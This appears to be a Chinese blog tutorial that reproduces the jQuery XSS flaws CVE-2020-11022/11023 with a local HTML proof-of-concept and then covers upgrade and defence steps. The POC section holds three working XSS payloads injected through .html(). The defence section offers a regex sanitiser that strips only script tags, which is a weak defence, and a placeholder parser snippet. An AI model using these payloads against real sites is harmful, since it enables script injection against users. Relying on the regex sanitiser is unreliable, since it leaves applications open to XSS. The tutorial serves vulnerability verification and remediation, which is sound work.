还在用老版本jQuery?手把手教你复现CVE-2020-11022/11023 XSS漏洞(附本地POC)
2026/6/10 6:29:20 网站建设 项目流程

深入复现jQuery历史XSS漏洞:从环境搭建到漏洞利用实战

接手一个遗留项目时,发现代码库中仍在使用jQuery 3.1.0版本?作为开发者,你需要立即验证这个旧版本是否包含已知的高危安全漏洞。本文将带你完整复现CVE-2020-11022和CVE-2020-11023这两个影响广泛的XSS漏洞,通过本地环境搭建和POC验证,让你亲眼看到漏洞被触发的全过程。

1. 漏洞背景与环境准备

这两个漏洞影响jQuery 1.2及以上、但低于3.5.0的所有版本。核心问题在于jQuery的DOM操作方法(如.html().append())在处理特定HTML结构时,即使进行了消毒处理,仍可能执行恶意脚本。

1.1 受影响的jQuery版本

以下是主要受影响版本范围:

版本范围风险等级影响方法
1.2.0 - 3.4.1高危.html(), .append()等
3.x系列特别高危额外攻击向量

环境准备清单

  • 任意现代浏览器(Chrome/Firefox最新版)
  • 文本编辑器(VS Code/Sublime等)
  • 本地web服务器(可选,可用python -m http.server快速启动)
  • 漏洞版本jQuery文件(如3.1.0)

提示:建议在虚拟机或隔离环境中进行实验,避免意外触发真实系统中的安全防护。

2. 本地POC环境搭建

2.1 获取漏洞版本jQuery

首先下载存在漏洞的jQuery版本:

wget https://code.jquery.com/jquery-3.1.0.min.js -O jquery-vulnerable.min.js

2.2 构建测试HTML文件

创建vulnerability-test.html文件,内容如下:

<!DOCTYPE html> <html> <head> <title>jQuery XSS漏洞验证(CVE-2020-11022/11023)</title> <script src="jquery-vulnerable.min.js"></script> </head> <body> <h1>jQuery XSS漏洞验证</h1> <div id="test-area"></div> <script> // 漏洞触发函数 function triggerVulnerability(pocNumber) { const payloads = [ '<style><style /><img src=x onerror=alert("CVE-2020-11022触发!")>', '<img alt="<x" title="/><img src=x onerror=alert(`CVE-2020-11023触发!`)>">', '<option><style></option></select><img src=x onerror=alert("双重漏洞触发!")></style>' ]; $('#test-area').html(payloads[pocNumber]); } </script> <button onclick="triggerVulnerability(0)">测试CVE-2020-11022</button> <button onclick="triggerVulnerability(1)">测试CVE-2020-11023</button> <button onclick="triggerVulnerability(2)">测试组合漏洞</button> </body> </html>

3. 漏洞触发与原理分析

3.1 执行POC验证

  1. 在浏览器中打开HTML文件
  2. 依次点击三个测试按钮
  3. 观察alert弹窗是否出现

预期结果

  • 每个按钮点击后都应弹出相应警告框
  • 即使代码看起来已经过"消毒",XSS仍被执行

3.2 漏洞技术原理

这两个漏洞的核心在于jQuery的HTML解析器与浏览器解析器之间的不一致:

  1. CVE-2020-11022

    • <style>标签被异常关闭时
    • jQuery错误地处理了后续的恶意内容
    • 导致onerror事件被执行
  2. CVE-2020-11023

    • 特定构造的HTML属性值
    • 在jQuery处理过程中被错误解析
    • 导致属性值中的恶意代码逃逸
// 漏洞代码模拟 function vulnerableHtmlParser(html) { // 实际jQuery中的解析逻辑存在缺陷 return sanitizedButStillDangerousHTML; }

4. 项目安全自查与修复方案

4.1 检测项目中的jQuery版本

在浏览器控制台运行:

console.log("当前jQuery版本:", $.fn.jquery);

或在代码库中搜索:

grep -r "jquery.*\.js" your_project_dir/

4.2 修复方案比较

方案优点缺点适用场景
升级到3.5.0+彻底修复可能需兼容性测试新项目/可升级项目
使用DOMPurify不依赖jQuery版本额外依赖无法立即升级的项目
替换为现代框架长期安全重构成本高准备技术栈更新的项目

4.3 安全升级步骤

  1. 备份当前jQuery文件
  2. 下载最新版本:
    wget https://code.jquery.com/jquery-3.6.4.min.js -O jquery-latest.min.js
  3. 全面测试关键功能
  4. 监控可能的兼容性问题

注意:升级后务必重新测试所有依赖jQuery的功能,特别是动态内容加载部分。

5. 深入防御:XSS防护最佳实践

除了升级jQuery外,还应实施多层防御:

  1. 内容安全策略(CSP)

    <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
  2. 输入验证

    function sanitizeInput(input) { return input.replace(/<script.*?>.*?<\/script>/gi, ''); }
  3. 输出编码

    function encodeHTML(str) { return str.replace(/&/g, '&amp;') .replace(/</g, '&lt;') .replace(/>/g, '&gt;'); }
  4. 现代前端框架的优势

    • React/Vue等框架的虚拟DOM
    • 自动转义机制
    • 更安全的模板系统

在实际项目中,我曾遇到一个案例:即使升级了jQuery,由于历史代码中大量使用.html()直接插入用户输入,仍然存在风险。最终我们分三步解决:先升级jQuery,再用DOMPurify处理所有动态内容,最后逐步重写相关模块为React组件。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询